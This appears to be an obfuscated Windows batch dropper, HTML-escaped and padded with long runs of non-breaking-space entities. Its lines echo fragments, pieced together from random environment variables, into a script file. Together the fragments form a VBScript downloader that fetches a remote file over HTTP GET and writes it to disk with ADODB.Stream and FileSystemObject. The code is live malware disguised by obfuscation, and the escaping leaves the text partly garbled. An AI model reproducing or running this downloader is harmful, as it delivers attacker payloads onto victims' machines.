%xrfdwtmany%%qbcenaqizf%%qijgcbtpbo%%luakggdwrt%.&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp; &amp;amp;amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;amp;amp;amp;gt; %DLOAD_SCRIPT%
%xrfdwtmany%%qbcenaqizf%%qijgcbtpbo%%luakggdwrt% %tupxnybbpi%%xrfdwtmany%%xanniuhgcs%%tupxnybbpi%%xanniuhgcs%%xrfdwtmany%%joyobimqxw%.O%litsxfqqro%%xrfdwtmany%%foiavmkrnw% &amp;amp;amp;amp;quot;GET&amp;amp;amp;amp;quot;, %hcwccjlkee%%rombizkvvl%%sheaszhotb%%rombizkvvl%%hcwccjlkee%%sheaszhotb%%apsmqqhscw%%ctvzypgyki%%ctvzypgyki%, F%rombizkvvl%%oiomndfpjb%%hcwccjlkee%%xrfdwtmany%&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp; &amp;amp;amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;amp;amp;amp;gt; %DLOAD_SCRIPT%
%xrfdwtmany%%qbcenaqizf%%qijgcbtpbo%%luakggdwrt% %tupxnybbpi%%xrfdwtmany%%xanniuhgcs%%tupxnybbpi%%xanniuhgcs%%xrfdwtmany%%joyobimqxw%.S%xrfdwtmany%%foiavmkrnw%%sheaszhotb%&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp; &amp;amp;amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;amp;amp;amp;gt; %DLOAD_SCRIPT%
%xrfdwtmany%%qbcenaqizf%%qijgcbtpbo%%luakggdwrt%.&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp; &amp;amp;amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;amp;amp;amp;gt; %DLOAD_SCRIPT%
%xrfdwtmany%%qbcenaqizf%%qijgcbtpbo%%luakggdwrt% S%xrfdwtmany%%jjyyhicqyb% %xanniuhgcs%%xrfdwtmany%%jpgzxifxal%%xanniuhgcs%%xrfdwtmany%%qbcenaqizf%%qbcenaqizf% = C%tupxnybbpi%%xrfdwtmany%%rombizkvvl%%jjyyhicqyb%%xrfdwtmany%O%ctvzypgyki%%ytfltteaai%%xrfdwtmany%%qbcenaqizf%%jjyyhicqyb%(&amp;amp;amp;amp;quot;ADODB.S%jjyyhicqyb%%tupxnybbpi%%xrfdwtmany%%rombizkvvl%%dmnyjodsiy%&amp;amp;amp;amp;quot;)&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp; &amp;amp;amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;amp;amp;amp;gt; %DLOAD_SCRIPT%
%xrfdwtmany%%qbcenaqizf%%qijgcbtpbo%%luakggdwrt% %xanniuhgcs%%xrfdwtmany%%jpgzxifxal%%xanniuhgcs%%xrfdwtmany%%qbcenaqizf%%qbcenaqizf%.O%litsxfqqro%%xrfdwtmany%%foiavmkrnw%&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp; &amp;amp;amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;amp;amp;amp;gt; %DLOAD_SCRIPT%
%xrfdwtmany%%qbcenaqizf%%qijgcbtpbo%%luakggdwrt% %xanniuhgcs%%xrfdwtmany%%jpgzxifxal%%xanniuhgcs%%xrfdwtmany%%qbcenaqizf%%qbcenaqizf%.T%oloukdxpvm%%litsxfqqro%%xrfdwtmany% = 1&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp; &amp;amp;amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;amp;amp;amp;gt; %DLOAD_SCRIPT%
%xrfdwtmany%%qbcenaqizf%%qijgcbtpbo%%luakggdwrt% %xanniuhgcs%%xrfdwtmany%%jpgzxifxal%%xanniuhgcs%%xrfdwtmany%%qbcenaqizf%%qbcenaqizf%.W%tupxnybbpi%%xjuwvucnqm%%jjyyhicqyb%%xrfdwtmany% %tupxnybbpi%%xrfdwtmany%%xanniuhgcs%%tupxnybbpi%%xanniuhgcs%%xrfdwtmany%%joyobimqxw%.R%xrfdwtmany%%hcwccjlkee%%litsxfqqro%%luakggdwrt%%foiavmkrnw%%hcwccjlkee%%xrfdwtmany%B%luakggdwrt%%sheaszhotb%%oloukdxpvm%&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp; &amp;amp;amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;amp;amp;amp;gt; %DLOAD_SCRIPT%
%xrfdwtmany%%qbcenaqizf%%qijgcbtpbo%%luakggdwrt% %xanniuhgcs%%xrfdwtmany%%jpgzxifxal%%xanniuhgcs%%xrfdwtmany%%qbcenaqizf%%qbcenaqizf%.P%luakggdwrt%%hcwccjlkee%%xjuwvucnqm%%jjyyhicqyb%%xjuwvucnqm%%luakggdwrt%%foiavmkrnw% = 0&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp; &amp;amp;amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;amp;amp;amp;gt; %DLOAD_SCRIPT%
%xrfdwtmany%%qbcenaqizf%%qijgcbtpbo%%luakggdwrt%.&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp; &amp;amp;amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;amp;amp;amp;gt; %DLOAD_SCRIPT%
%xrfdwtmany%%qbcenaqizf%%qijgcbtpbo%%luakggdwrt% S%xrfdwtmany%%jjyyhicqyb% %ytfltteaai%%qbcenaqizf%%hjderkorgo%%qbcenaqizf%%pvzjiczcfi%%hjderkorgo%%qbcenaqizf%%hcwccjlkee% = C%tupxnybbpi%%xrfdwtmany%%rombizkvvl%%jjyyhicqyb%%xrfdwtmany%O%ctvzypgyki%%ytfltteaai%%xrfdwtmany%%qbcenaqizf%%jjyyhicqyb%(&amp;amp;amp;amp;quot;S%qbcenaqizf%%tupxnybbpi%%xjuwvucnqm%%litsxfqqro%%jjyyhicqyb%%xjuwvucnqm%%foiavmkrnw%%gztptlmexs%.F%xjuwvucnqm%%oiomndfpjb%%xrfdwtmany%S%oloukdxpvm%%hcwccjlkee%%jjyyhicqyb%%xrfdwtmany%%dmnyjodsiy%O%ctvzypgyki%%ytfltteaai%%xrfdwtmany%%qbcenaqizf%%jjyyhicqyb%&amp;amp;amp;amp;quot;)&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp; &amp;amp;amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;amp;amp;amp;gt; %DLOAD_SCRIPT%
